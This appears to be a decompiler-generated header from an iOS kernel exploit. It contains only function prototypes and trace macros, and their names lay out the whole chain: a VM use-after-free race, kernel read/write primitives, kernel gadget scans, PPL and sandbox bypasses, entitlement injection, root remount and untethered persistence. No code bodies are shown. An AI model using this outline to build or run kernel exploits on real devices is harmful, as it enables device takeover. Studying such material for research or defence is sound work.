/* This file was generated by the Hex-Rays decompiler version 9.2.0.250908.
   Copyright (c) 2007-2021 Hex-Rays <info@hex-rays.com>

   Detected compiler: GNU C++
*/

#include <defs.h>
#include <sys/syscall.h>
#include <stdarg.h>
@import Foundation;

#ifndef RECOMP_TRACE_DMAFAIL
#define RECOMP_TRACE_DMAFAIL 0
#endif

#ifndef RECOMP_TRACE_PHYSMAP
#define RECOMP_TRACE_PHYSMAP 0
#endif

#ifndef RECOMP_TRACE_PORTS
#define RECOMP_TRACE_PORTS 0
#endif

#ifndef RECOMP_PHYSMAP_VALIDATE_CACHE
#define RECOMP_PHYSMAP_VALIDATE_CACHE 1
#endif

#ifndef RECOMP_ENABLE_STOCK_CLOSE_RESTORE
#define RECOMP_ENABLE_STOCK_CLOSE_RESTORE 0
#endif

#if RECOMP_TRACE_DMAFAIL
#define TRACE_DMAFAIL(...) NSLog(@__VA_ARGS__)
#else
#define TRACE_DMAFAIL(...) do { } while (0)
#endif

#if RECOMP_TRACE_PHYSMAP
#define TRACE_PHYSMAP(...) NSLog(@__VA_ARGS__)
#else
#define TRACE_PHYSMAP(...) do { } while (0)
#endif

#if RECOMP_TRACE_PORTS
#define TRACE_PORTS(...) NSLog(@__VA_ARGS__)
#else
#define TRACE_PORTS(...) do { } while (0)
#endif


typedef struct {
  uint64_t packed_info;
  uint64_t object_id;
} vm_region_nesting_result;

//-------------------------------------------------------------------------
// Function declarations

__int64 __fastcall driver(uint64_t *a1);
__int64 __fastcall driver_free(__int128 *a1);
__int64 __fastcall driver_init(__int64 vtable, char something, struct_krwCtx **krwCtxOut);
__int64 __fastcall driver_dispatch_command(
        __int64 vtable,
        struct_krwCtx *krwCtx,
        int cmd,
        __int64 arg0,
        __int64 arg1,
        __int64 arg2,
        __int64 arg3,
        __int64 arg4);
__int64 __fastcall krw_teardown_dispatch(__int64 a1, __int64 a2);
__int64 __fastcall driver_close(__int64 a1, char *a2);
__int64 __fastcall krw_get_conn_port(__int64, __int64, uint32_t *);
__int64 __fastcall krw_read_iogpu(__int64 a1, __int64 *a2, __int64 a3, unsigned int a4, int a5);
__int64 __fastcall parse_kernel_version(__int64 a1, __int64 a2);
vm_address_t __fastcall vm_remap_new_target(vm_address_t src_address, vm_size_t size, boolean_t copy);
__int64 __fastcall vm_remap_inplace(vm_address_t src_address, vm_size_t size, boolean_t copy); // idb
vm_region_nesting_result __fastcall query_vm_region_nesting(vm_address_t a1);
__int64 __fastcall compare_entry_by_offset(__int64, __int64);
__int64 __fastcall compare_entry_unsigned(__int64, __int64);
__int64 setup_thread_policy();
void __fastcall sort_compact_vm_regions(__int64 a1, __int64 a2);
void __fastcall grow_vm_region_list(uint64_t *a1);
__int64 __fastcall get_vm_region_slot(uint64_t *a1);
void __fastcall deallocate_physmap_pages(__int64 a1);
__int64 __fastcall acquire_physmap_page(__int64 a1);
__int64 __fastcall start_physmap_worker_thread(__int64 a1, mem_entry_name_port_t *a2);
__int64 __fastcall request_physmap_page(uint64_t *a1, __int64 a2);
__int64 __fastcall physmap_read_dword(uint64_t *a1, unsigned __int64 a2, uint32_t *a3);
void *__fastcall physmap_read_aligned(uint64_t *a1, unsigned __int64 a2, void *a3, size_t a4);
__int64 __fastcall physmap_write_aligned(uint64_t *a1, const void *a2, unsigned __int64 a3, size_t a4);
unsigned __int64 __fastcall build_physmap_page_table(uint64_t *a1, unsigned __int64 a2);
uint64_t *__fastcall iogpu_kread_loop(uint64_t *result, __int16 a2, char *a3, unsigned __int64 a4);
uint64_t *__fastcall iogpu_kwrite_loop(uint64_t *result, char *a2, __int16 a3, unsigned __int64 a4);
__int64 __fastcall find_mem_region(__int64 result);
__int64 __fastcall alloc_krw_region_map(__int64 a1);
__int64 __fastcall alloc_vm_page_array(__int64 a1);
__int64 __fastcall allocate_two_buffers_for_something(uint64_t *a1);
__int64 __fastcall setup_krw_region_structure(uint64_t *a1);
__int64 __fastcall physmap_vmregion_init(uint64_t *a1);
void *__fastcall alloc_physmap_page_entry(uint64_t *a1);
void *__fastcall physmap_page_entry_alloc(uint64_t *a1, int a2);
uint64_t *__fastcall fill_physmap_page_entries(uint64_t *a1, __int64 a2);
uint64_t *__fastcall dequeue_physmap_page_entry(uint64_t *a1, uint64_t *a2);
uint64_t *__fastcall dequeue_multiple_physmap_entries(uint64_t *a1);
__int64 __fastcall trigger_vm_copy_shared_mem(__int64 a1);
__int64 __fastcall thread_realtime_vm_copy(__int64 a1);
__int64 __fastcall scan_physmap_for_region(__int64 a1, unsigned __int64 a2);
__int64 __fastcall get_physmap_region_ptr(__int64 a1, int a2);
unsigned __int64 __fastcall run_physmap_worker_threads(__int64 a1);
uintptr_t __fastcall physmap_madvise_free(__int64 a1, __int64 a2);
__int64 __fastcall puaf_vmregion_race_trigger(uint64_t *a1);
uintptr_t __fastcall puaf_vm_region_scan_1(__int64 a1);
void __fastcall validate_physmap_range_2(__int64 a1);
void __fastcall run_physmap_setup_sequence(uint64_t *a1);
__int64 __fastcall validate_physmap_range_3(vm_address_t *a1);
void __fastcall scan_physmap_overlap(uint64_t *a1, __int64 a2, unsigned __int64 *a3, unsigned __int64 *a4);
void __fastcall scan_physmap_addr_range(uint64_t *a1, __int64 a2, int a3, uint64_t *a4);
void *__fastcall setup_physmap_copy_structure(uint64_t *a1);
__int64 __fastcall reset_physmap_copy_area(__int64 a1);
__int64 __fastcall dealloc_krw_port_array(__int64 result, __int64 a2);
void __fastcall cleanup_physmap_copy_entries(__int64 a1);
__int64 __fastcall dealloc_physmap_copy_slot(__int64 a1, __int64 a2);
__int64 __fastcall dealloc_physmap_2page_slot(__int64 a1, vm_address_t *a2);
__int64 __fastcall dealloc_physmap_3page_slot(__int64 a1, vm_address_t *a2);
__int64 __fastcall dealloc_iogpu_physmap_2(__int64 a1, uint64_t *a2);
__int64 __fastcall dealloc_iogpu_physmap_entry(__int64 a1, uint64_t *a2);
__int64 __fastcall dealloc_iogpu_physmap_triple(__int64 a1, uint64_t *a2);
void __fastcall cleanup_physmap_context(__int64 a1);
__int64 __fastcall free_vm_page_array_list(__int64 a1);
void __fastcall teardown_iogpu_vm_copy(vm_address_t *a1);
__int64 __fastcall necp_send_msg_1(struct_krwCtx *a1);
__int64 __fastcall iogpu_kread(__int64 a1, __int16 a2, char *a3, unsigned int a4, int a5);
__int64 __fastcall iogpu_kwrite(__int64 a1, __int16 a2, char *a3, unsigned int a4, int a5);
__int64 __fastcall iogpu_kread2(__int64 a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5);
__int64 __fastcall iogpu_kwrite2(__int64 a1, unsigned __int64 a2, const void *a3, unsigned int a4, int a5);
__int64 __fastcall setup_kernel_region_via_flags(__int64 a1);
__int64 __fastcall read_task_kobject_physmap(struct_krwCtx *a1, unsigned __int64 a2);
__int64 __fastcall get_read_task_port_kobject(struct_krwCtx *a1, mach_port_t a2);
unsigned __int64 __fastcall check_task_port_type(__int64 krwCtx, unsigned __int64 a2);
__int64 __fastcall free_iogpu_krw_ctx(__int64 a1);
__int64 __fastcall iogpu_teardown_ctx(__int64 a1);
__int64 __fastcall create_iogpu_shmem_entry(__int64 a1, uint32_t *a2, uint32_t *a3, mach_port_t *a4, uint64_t *a5);
__int64 __fastcall iogpu_physmap_init(__int64 a1);
__int64 __fastcall iogpu_init_private_ctx(__int64 a1, uint64_t *a2, mem_entry_name_port_t a3, mem_entry_name_port_t a4, mem_entry_name_port_t a5, uint64_t *a6);
__int64 __fastcall iogpu_krw_ctx_setup(__int64 a1, uint32_t *a2);
__int64 __fastcall get_iogpu_physmap_base(__int64);
void memory_barrier_dsb_isb();
__int64 __fastcall iogpu_kernel_read_op(__int64 krwCtx, unsigned __int64 a2, int a3);
unsigned __int64 __fastcall scan_for_macho_header(__int64 *krwCtx, __int64 a2);
__int64 __fastcall acquire_physmap_page_atomic(__int64 a1);
__int64 __fastcall query_vm_region_prot_info(vm_address_t a1);
__int64 __fastcall iokit_slot_alloc_with_mem_entry(__int64 a1, vm_size_t size, __int64 a3, mem_entry_name_port_t *a4);
__int64 __fastcall vm_map_with_retry(vm_address_t *a1, vm_size_t size, vm_address_t mask, int flags, int a5);
__int64 __fastcall kernel_read_loop_physmap(__int64 a1, __int64 a2, unsigned int a3, __int64 a4);
__int64 __fastcall kext_exploit_main(uint64_t x0, uint32_t w1, uint64_t x2);
__int64 __fastcall kext_exploit_main_trampoline(uint64_t x0, uint64_t x1_idk, uint32_t w2, uint64_t x3);
__int64 __fastcall kext_image_scan_init(uint64_t *a1);
__int64 __fastcall kext_image_scan_trampoline_0(uint64_t x0, uint64_t x1);
__int64 __fastcall ioconnect_kread_physmap(__int64 a1, __int64 a2, __int64 a3, unsigned int a4);
__int64 __fastcall physmap_read_rebuild_page(uint64_t *a1, int8x8_t *a2);
__int64 __fastcall check_physmap_page_count(uint32_t *a1, __int64 a2);
__int64 __fastcall map_sptm_state_page(__int64 a1);
__int64 __fastcall get_physmap_region_ptrs(__int64, __int64, __int64, uint64_t *);
__int64 __fastcall iokit_kwrite_via_port(struct_krwCtx *a1, __int64 a2, __int64 a3, int a4, __int64 a5, __int64 a6, unsigned __int64 a7);
void __fastcall cfdict_set_int32(CFDictionaryRef *a1, const void *a2);
__int64 __fastcall setup_vm_for_kwrite(__int64 a1, __int64 a2, unsigned __int64 a3);
__int64 __fastcall get_ipc_kobject_offset(struct_krwCtx *a1, __int64 a2, unsigned __int64 *a3);
__int64 __fastcall read_ipc_port_table_entry(struct_krwCtx *a1, __int64 a2, unsigned int a3, unsigned __int64 *a4);
__int64 __fastcall kwrite_u64_via_kobject(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
__int64 __fastcall kread_via_kobject(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
__int64 __fastcall kread_u64_value(__int64 a1, __int64 a2);
__int64 __fastcall kwrite_u64_to_addr(__int64 a1, __int64 a2, __int64 a3);
__int64 __fastcall kread_u32_value(__int64 a1, unsigned __int64 a2);
__int64 __fastcall flush_cpu_cache(__int64 a1, mach_vm_address_t a2, int a3);
__int64 __fastcall setup_iokit_notify_dispatch(uint64_t *a1, uint64_t **a2);
unsigned __int64 __fastcall send_port_alloc_msg(__int64 a1, int a2);
__int64 __fastcall setup_kernel_exploit_msg(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, __int64 a5, __int64 a6, __int64 a7);
__int64 __fastcall mach_vm_page_info_query(uint64_t *a1, __int64 a2, unsigned int a3, __int64 a4, __int64 a5, __int64 a6);
__int64 __fastcall query_phys_page_info(__int64 a1, __int64 a2, __int64 a3);
__int64 __fastcall setup_ipc_port_exploit_payload(__int64 a1, __int64 a2, int a3, __int64 a4);
__int64 __fastcall send_iokit_notification(__int64 a1, __int64 a2, uint64_t *a3);
__int64 __fastcall prepare_iokit_notification_payload(__int64 a1, __int64 a2, __int64 a3);
__int64 __fastcall vtable_call_slot2(__int64 a1, __int64 a2);
__int64 __fastcall setup_notification_extra_args(__int64 a1, __int64 a2, __int64 a3);
__int64 __fastcall trigger_kstate_write_vtable(__int64 *a1, __int64 a2, __int64 a3);
__int64 __fastcall pack_exploit_args_buffer(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8, __int64 a9);
__int64 __fastcall call_vtable_ptr_slot2(__int64 a1);
__int64 __fastcall exploit_thread_vmcopy_race(__int64 a1);
__int64 __fastcall run_exploit_thread(__int64 a1);
__int64 __fastcall write_kaddr_to_physmap(__int64 a1, unsigned __int8 a2);
__int64 __fastcall trigger_thread_state_mod(__int64 a1);
__int64 __fastcall get_ppnum_via_kread(__int64 a1);
__int64 __fastcall compare_cfdict_entries(const void *a1, const void *a2);
void __fastcall iterate_cftype_values(const void *a1, CFTypeRef cf, __int64 a3);
__int64 __fastcall merge_cfdict_entries(const void *a1, const void *a2);
void __fastcall apply_cfdict_update(void *key, const CFArrayRef *a2, __int64 a3);
void __fastcall cfarray_add_unique(const void *a1, __int64 a2);
const void *__fastcall check_cfstring_type(const void *result, uint8_t *a2);
const void *__fastcall cfarray_contains_check(const void *result, __int64 a2);
void __fastcall necp_dispatch_by_version(struct_krwCtx *a1);
bool __fastcall check_necp_flag(struct_krwCtx *a1);
bool __fastcall necp_kread_region(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4);
bool __fastcall ppl_physmap_table_patch_write(struct_krwCtx *ctx, mach_vm_address_t vaddr, __int64 newBytes, __int64 size, int a5);
bool __fastcall get_kwrite_fn(__int64 a1, __int64 *a2, int *a3);
bool __fastcall pgtable_walk_for_physmap(struct_krwCtx *a1, unsigned __int64 a2, unsigned __int64 a3);
bool __fastcall physmap_table_write_versioned(struct_krwCtx *a1, unsigned __int64 a2, int a3);
bool __fastcall check_physmap_range_necp(struct_krwCtx *a1, unsigned __int64 a2, int a3);
__int64 __fastcall ppl_kwritebuf(__int64 ctx, unsigned __int64 vaddr, void *newBytes, int size);
bool __fastcall kaddr_need_ppl_bypass(__int64 ctx, unsigned __int64 vaddr);
bool __fastcall ppl_kwritebuf_nocheck(__int64 ctx, mach_vm_address_t vaddr, __int64 newBytes, __int64 size, char pplBypass, int);
bool __fastcall ppl_kwrite_physmap_checked(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3);
__int64 __fastcall kwrite_something(struct_krwCtx *a1, mach_vm_address_t a2, __int64 a3, __int64 a4, int a5);
__int64 __fastcall get_root_statfs(__int64 ctx, int *outIsReadWrite);
bool __fastcall check_iogpu_krw_ready_3(struct_krwCtx *a1, char *a2);
__int64 __fastcall get_kernel_base_physmap(struct_krwCtx *a1, int a2);
__int64 __fastcall check_root_disk_identity(struct_krwCtx *a1);
__int64 __fastcall add_rw_to_disk(struct_krwCtx *a1, const char *a2, const char *a3);
bool __fastcall check_path_on_disk0s1s1(const char *a1);
__int64 __fastcall check_mount_thread_info(struct_krwCtx *a1, int a2);
__int64 __fastcall check_disk0s1s1_path(struct_krwCtx *a1, char *a2);
__int64 __fastcall get_mount_disk_info(struct_krwCtx *a1, int a2);
__int64 __fastcall get_root_prefix_path(__int64 a1, void *a2, uint32_t *a3, int *a4);
__int64 __fastcall get_kbase_from_fileport(struct_krwCtx *a1, int w1_0);
__int64 __fastcall validate_physmap_range_4(struct_krwCtx *a1, char *a2, int a3, unsigned int *a4);
__int64 __fastcall get_kernel_load_addr_bsm(__int64 a1, const char *a2, unsigned int a3);
__int64 __fastcall remount_hfs(__int64 a1, const char *a2, int a3);
bool check_root_is_apfs();
__int64 __fastcall krw_inject_entitlements_maybe(struct_krwCtx *krwCtx, __int64 task, char *entitlementXml);
__int64 __fastcall get_mach_thread_info(struct_krwCtx *a1, __int64 a2, char *a3, __int64 a4, int a5);
__int64 __fastcall find_connect_ioavservice(__int64 a1);
__int64 __fastcall get_kernel_task_iokit(__int64 a1);
__int64 test_appsepmanager_presence();
void __fastcall necp_send_msg_2(__int64 a1);
__int64 __fastcall pgtable_locked_kwrite32_retry(__int64 a1, __int64 a2, int a3);
__int64 __fastcall krw_physmap_ctx_init(__int64 a1);
unsigned __int64 __fastcall read_cryptex_manifest(struct_krwCtx *a1, unsigned __int64 a2);
char *__fastcall scan_physmap_state_entries(__int64, uint32_t *, uint32_t *, unsigned __int64);
__int64 __fastcall lookup_sptm_state_entry(__int64 a1, unsigned __int64 a2, uint64_t *a3);
unsigned __int64 __fastcall read_pgtable_entry(__int64 a1, unsigned __int64 a2, __int64 *a3, char a4);
__int64 __fastcall get_pgtable_walk_result(struct_krwCtx *a1, unsigned __int64 a2, uint64_t *a3);
__int64 __fastcall setup_physmap_page_with_size(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3);
__int64 __fastcall setup_physmap_rw_multi(__int64 a1, unsigned __int64 a2, __int64 a3);
__int64 __fastcall setup_macho_section_dispatch(__int64 result, __int64, int);
__int64 __fastcall get_kernel_version_build_0(__int64 a1, __int64 a2, int a3);
__int64 __fastcall nullsub_1(uint64_t); // weak
__int64 __fastcall validate_kaddr_range(__int64, __int64);
static __attribute__((noinline)) __int64 validate_kaddr_range_reloaded(__int64 ctx, __int64 addr)
{
  return validate_kaddr_range(ctx, addr);
}
unsigned __int64 __fastcall check_kaddr_in_physmap(struct_krwCtx *krwCtx, unsigned __int64 vaddr);
typedef struct sub_197A8_result
{
  unsigned __int64 addr;
  unsigned __int64 size;
} sub_197A8_result;
sub_197A8_result macho_find_segment(SearchObj *a1, int /*unused*/ a2);
__int64 get_const_8();
__int64 __fastcall unmap_macho_image(__int64 a1);
__int64 __fastcall macho_walk_segment_by_name_impl(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, char a5);
__int64 __fastcall macho_walk_segment_by_name_0(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4);
unsigned int __fastcall macho_read_u32(__int64 *a1, __int64 *a2);
unsigned __int64 __fastcall macho_read_u64(__int64 *a1, __int64 *a2);
__int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t); // weak
void __usercall macho_walk_segment_by_name(char *s2, __int64 a2, SearchObj *a3);
__n128 macho_getsectbyname(char *seg, __int64 a2, const char *sect, uint64_t *a4);
double macho_find_text_section(__int64 a1, uint64_t *a2);
__int64 __fastcall macho_find_loadcmd_by_name(__int64 a1, char *__s2, unsigned __int64 a3);
double __fastcall krw_ctx_zero_fields(struct_a1 *a1, __int64 a2);
__int64 __fastcall free_macho_image_vm(__int64 a1);
bool __fastcall map_macho_image_vm(__int64 a1);
bool __fastcall alloc_kernel_offset_table(__int64 a1, __int64 a2);
bool __fastcall iosurface_physmap_setup_bool(__int64 a1, int a2, __int64 a3, unsigned int a4);
bool __fastcall iosurface_physmap_setup(__int64 a1, int a2, __int64 a3, unsigned int a4);
bool __fastcall iosurface_physmap_setup_alt(__int64 a1, int a2, __int64 a3, int a4);
void __fastcall free_kernel_image_resources(__int64 a1);
__int64 __fastcall krw_ctx_setup_physmap(__int64 a1, uint64_t **a2, __int64 a3);
__int64 __fastcall spin_wait_el0_transition(__int64 result);
__int64 __fastcall necp_set_opt_string_2(__int64 a1, __int64 a2);
__int64 __fastcall write_task_kobject_fields(__int64 a1, __int64 a2);
__int64 __fastcall trigger_iokit_property_exploit(__int64 a1);
__int64 __fastcall wait_thread_ready(__int64 a1, uint64_t **a2);
__int64 __fastcall thread_hijack_exploit(__int64 a1);
__int64 __fastcall call_vtable_ptr_slot2_v2(__int64 a1);
__int64 __fastcall spin_wait_el0_via_ptr(__int64 a1);
__int64 __fastcall wait_thread_via_ptr(__int64 a1);
__int64 __fastcall get_task_vm_region_base(task_name_t a1);
__int64 __fastcall get_task_vm_info_0(task_name_t a1, uint64_t *a2);
__int64 __fastcall iosurface_enum_mach_port(__int64 a1, unsigned int a2);
__int64 __fastcall iosurface_id_to_index(unsigned int);
__int64 __fastcall get_iosurface_mem_entry(__int64 a1, unsigned int a2, mach_port_name_t *a3);
__int64 __fastcall alloc_vm_page_mem_entry(__int64 a1, unsigned int a2, vm_size_t size, vm_address_t *address);
__int64 __fastcall alloc_vm_page(__int64 a1);
bool __fastcall krw_setup_with_stat(__int64 a1, uint32_t *a2);
bool __fastcall krw_setup_ports_vm(__int64 a1, uint32_t *a2);
__int64 __fastcall setup_voucher_exploit_ctx(struct_krwCtx *a1, unsigned int *a2, unsigned int a3);
__int64 __fastcall alloc_iosurface_mach_port(struct_krwCtx *a1, unsigned int a2, unsigned int a3);
__int64 __fastcall insert_mach_port_send_right(__int64 a1, task_name_t a2, unsigned int a3, __int64 a4, unsigned int a5);
__int64 __fastcall mementry_iosurface_port_alloc(struct_krwCtx *a1, unsigned int a2, vm_size_t size, vm_offset_t offset, vm_address_t *a5);
__int64 __fastcall alloc_vm_page_v2(__int64 a1);
bool __fastcall krw_setup_voucher(struct_krwCtx *a1);
bool __fastcall krw_setup_physmap(__int64 a1);
bool __fastcall krw_setup_iosurface(__int64 a1);
bool __fastcall krw_setup_iosurface_v2(__int64 a1, uint32_t *a2);
mach_vm_address_t __fastcall build_kernel_vtable(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, uint64_t *a7);
__int64 kernel_pattern_scan(SearchObj *obj, const char *pattern_str, uint32_t align_flag);
//__int64 scan_kernel_text_gadget(SearchObj *obj, int16_t *pattern, intptr_t pat_len, intptr_t anchor, uint32_t align_flag, uint32_t flags);
__int64 __fastcall scan_kernel_text_gadget(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, int a5, __int64 a6);
__int64 __fastcall search_binary_pattern_text(__int128 *a1, char *__s, int a3, char a4);
unsigned __int64 __fastcall find_pattern_kernel_section(__int64 *a1, __int64 a2, int a3);
char *__fastcall find_pattern_macho_binary(__int64 *a1, uint32_t *a2, uint32_t *a3, unsigned __int64 a4);
unsigned __int64 __fastcall kernel_find_symbol_by_cstring_scan(__int64 a1, char *a2, const char *a3, char *a4);
char *__fastcall find_kernel_gadget(__int64 a1);
__int64 __fastcall get_sptm_version_index(__int64);
unsigned __int64 __fastcall find_kernel_func_aligned(__int64 *a1, __int64 a2);
__int64 __fastcall find_kernel_func_by_scan(__int64 *a1);
char *__fastcall find_kernel_branch_target(__int64 *a1);
char *__fastcall resolve_branch_target(__int64 *a1, __int64 *a2);
unsigned __int64 __fastcall find_kernel_func(__int64 *a1, __int64 *a2);
unsigned __int64 __fastcall find_kernel_func_versioned(__int64 *a1, int *a2);
unsigned __int64 __fastcall find_kread_pattern_versioned(__int64 a1, unsigned __int64 *a2, unsigned __int64 *a3);
__int64 __fastcall find_kernel_func_at_offset(__int64 a1, int a2);
char *__fastcall find_kernel_func_by_branch(__int64 *a1, __int64 *a2, int a3);
__int64 __fastcall get_kernel_version_string_0(char *a1, size_t a2);
int __fastcall kernel_version_parse(struct_xnuMajorVersion *xnuMajorVersion, int *a2, int *a3);
__int64 __fastcall mach_vm_page_info_query_0(vm_map_read_t a1, mach_vm_address_t a2, uint64_t *a3);
__int64 number_of_cpus();
unsigned __int64 comm_page_memory_size();
__int64 sub_get_page_size();
__int64 __fastcall get_task_vm_info_1(task_name_t a1);
__int64 get_page_size();
__int64 __fastcall get_task_memory_info(task_name_t a1, uint64_t *a2, uint64_t *a3);
unsigned __int64 __fastcall comm_page_get_cpu_family(uint32_t *cpuFamily);
__int64 __fastcall alloc_buf_with_magic(unsigned int a1, uint64_t *a2);
__int64 __fastcall parse_load_command_entry(__int64 *a1, int a2, size_t __n, uint64_t *__src);
__int64 __fastcall copy_buf_struct_to_heap(__int64 a1, uint64_t *a2, uint32_t *a3);
__int64 __fastcall free_and_null_ptr(void **a1);
__int64 __fastcall fd_make_pipe(int a1[2]);
__int64 __fastcall fd_read_test(int *fd);
__int64 __fastcall setup_two_fds(int *a1);
__int64 __fastcall setup_fd(int a1);
__int64 __fastcall fd_write(__int64 a1, const void *a2, size_t a3);
__int64 __fastcall fd_read(int *a1, void *a2, size_t a3);
int *__fastcall sptm_ulock_write_trampoline(__int64 a1);
int *__fastcall mkdir_factory_mount(int *a1);
int *__fastcall mmap_with_ctx_params(__int64 a1);
__int64 __fastcall krw_dispatch_call_6args(__int64 a1, int a2, __int64 a3, __int64 a4, int a5, __int64 a6);
int *__fastcall unlink_and_close_fd(int *a1);
__int64 __fastcall krw_dispatch_call_1arg(__int64 a1, int a2);
__int64 __fastcall krw_dispatch_call_3args(__int64 a1, __int64 a2, int a3, __int64 a4);
__int64 __fastcall create_temp_file_in_factory_mount(__int64 a1);
__int64 __fastcall get_mount_point_via_dispatch(__int64 a1);
__int64 __fastcall check_factory_mount_hfs(struct statfs *a1);
__int64 __fastcall driver_cmd_setup_untethered_persistence_maybe(struct_krwCtx *a1, int a2);
__int64 __fastcall get_root_mount_info(__int64 a1, uint32_t *a2, char *a3);
__int64 __fastcall physmap_check_range_wrapper(__int64 a1, __int64 a2, int a3);
int *__fastcall unmount_path_retry(__int64 a1);
int *__fastcall stat_path_or_notfound(__int64 a1);
const CFDictionaryRef *__fastcall iokit_connect_call_struct_method(const CFDictionaryRef *result);
__int64 __fastcall ioregistry_iter_read_cf_props(__int64 a1, io_iterator_t iterator);
__int64 __fastcall append_to_dynamic_buf(__int64 a1, __int64 *a2, __int64 a3);
__int64 __fastcall write_loop_to_fd_from_ctx(__int64 a1, int a2, char a3);
__int64 __fastcall append_buf_and_get_pid(__int64 a1, __int64 a2, __int64 a3, int *a4);
__int64 __fastcall append_buf_and_wait_port(__int64 a1, __int64 a2, __int64 a3, int *a4);
__int64 __fastcall read_two_consecutive_port_slots(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 *a4);
__int64 __fastcall check_iogpu_krw_ready_4(struct_krwCtx *a1, __int64 a2, unsigned __int64 a3, int a4, unsigned __int64 *a5);
__int64 __fastcall iokit_slot_alloc_pgtable_lookup(struct_krwCtx *a1, __int64 a2, __int16 a3, __int64 a4);
__int64 __fastcall check_iogpu_krw_ready_type2(struct_krwCtx *a1, __int64 a2, unsigned __int64 a3, unsigned __int64 *a4);
__int64 __fastcall fileport_kobj_vm_attr_check(struct_krwCtx *a1, int w1_0);
uint64_t __fastcall update_timer_lru_cache(__int64 a1);
unsigned __int64 __fastcall krw_lookup_and_process_entry(struct_krwCtx *a1);
__n128 __fastcall pgtable_walk_full(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4);
int __fastcall pgtable_walk_wrapper(__int64 a1, unsigned __int64 a2, void *a3);
unsigned __int64 __fastcall kaddr_to_phys_v1(__int64 a1, unsigned __int64 a2);
unsigned __int64 __fastcall kaddr_to_phys_v2(__int64 a1, unsigned __int64 a2, __int64 a3);
__int64 __fastcall free_entry_struct(int a1, uint64_t *a2);
__int64 __fastcall validate_physmap_range_5(__int64 a1, vm_size_t **a2);
bool __fastcall compare_krw_chunk_data(int a1, __int64 a2, void *__s2, size_t __n);
size_t __fastcall lookup_and_copy_krw_chunk(int a1, __int64 a2, void *a3, size_t __n);
__int64 __fastcall read_kaddr_via_chunk_offset(__int64 a1, __int64 a2);
bool __fastcall physmap_entry_check(__int64 a1, unsigned int a2, int a3, __int64 a4);
bool __fastcall physmap_single_check(__int64 a1, __int64 a2, int a3);
__int64 __fastcall memcmp20(__int64, __int64);
__int64 __fastcall krw_lookup_via_ctx_field32(__int64 a1, unsigned int a2);
unsigned __int64 __fastcall get_task_kobject_addr_from_field32(__int64 a1, unsigned int a2);
__int64 __fastcall get_iodevicetree_chosen_data(char **a1, unsigned int a2);
__int64 check_necp_kread_available();
__int64 __fastcall open_and_kread_ptr_data(const char *a1, uint64_t *a2, unsigned int *a3);
bool __fastcall getattrlist_check_file(const char *a1);
__int64 __fastcall check_and_copy_file_paths(const char *a1, const char *a2, char a3);
__int64 __fastcall enumerate_file_paths(const char *a1, const char *a2);
bool __fastcall check_root_fs_mounted(bool *a1);
__int64 __fastcall nullsub_2(uint64_t); // weak
__int64 __fastcall dmaFail_physwrite32(struct_krwCtx *a1, __int64 a2, int a3);
__int64 __fastcall dmaFail_set_power_state(__int64 a1, int a2);
__int64 __fastcall dmaFail_gfx_power_init(struct_krwCtx *a1);
bool __fastcall dmaFail_map_dbgwrap(struct_krwCtx *a1, __int64 a2, __int128 *a3);
__int64 __fastcall dmaFail_phystokv_cached(__int64 a1, __int64 a2);
__int64 __fastcall dmaFail_dbgwrap_halt_cpu(struct_krwCtx *a1, __int64 a2);
uint32_t __fastcall dmaFail_dbgwrap_unhalt_cpu(struct_krwCtx *a1, __int64 a2);
__int64 __fastcall kwrite_sandbox_entry(struct_krwCtx *a1, __int64 a2);
__int64 __fastcall read_kernel_data_buf(struct_krwCtx *a1, uint64_t *a2, uint32_t *a3, uint64_t *a4, uint32_t *a5, int a6);
mach_vm_address_t __fastcall setup_sandbox_bypass(__int64 a1, char a2);
__int64 __fastcall run_callback_with_physmap_write(__int64 a1, void (__fastcall *a2)(__int64), __int64 a3);
__int64 __fastcall check_sandboxed(int a1);
__int64 __fastcall another_sandbox_check(__int64 a1);
unsigned __int64 __fastcall find_appleevent_kaddr(__int64 a1);
void *__fastcall parse_necp_opt_struct(__int64 a1, __int16 *a2, __int64 a3);
__int64 __fastcall mark_necp_option_visited(__int64 a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int *a6);
__int64 __fastcall get_kext_base_addr(__int64 a1, char *__s, uint64_t *a3);
__int64 __fastcall find_macho_entry_by_name(__int64 a1, char *__s2, unsigned __int64 a3, __int64 *a4);
__int64 __fastcall find_macho_entry_by_name_wrap(__int64 a1, char *a2, unsigned __int64 a3, uint64_t *a4);
__int64 __fastcall init_krw_ctx_fields(__int64);
__int64 __fastcall free_krw_ctx_flags(__int64 a1);
double __fastcall krw_ctx_buf_append_typed_val(__int64 a1, int a2);
__int64 __fastcall buf_ensure_capacity(__int64 a1, unsigned int a2);
__int64 __fastcall krw_ctx_buf_append_entry(__int64 a1, __int64 a2, int a3);
__int64 __fastcall buf_append_data(__int64 a1, const void *a2, unsigned int a3);
__int64 __fastcall send_mach_msg_from_ctx(__int64 a1, mach_port_t a2, mach_port_t a3, mach_msg_id_t a4);
double __fastcall parse_xnu_version_string(__int64 a1);
const CFDictionaryRef *__fastcall ioservice_get_matching(const char *a1);
__int64 __fastcall ioservice_notification_send(unsigned int a1, __int64 a2, __int64 a3, unsigned int a4, unsigned int a5, const void *a6, int a7);
__int64 __fastcall register_ioservice_publish_notify(__int64 a1, unsigned int a2, mach_port_name_t *a3);
bool __fastcall set_thread_realtime_policy_1(thread_act_t a1, thread_policy_t policy_info);
bool __fastcall set_thread_abs_realtime(thread_act_t a1, unsigned int a2);
bool __fastcall set_thread_abs_realtime_50(thread_act_t a1);
__int64 __fastcall release_write_semaphore_lock(__int64 a1, unsigned int a2);
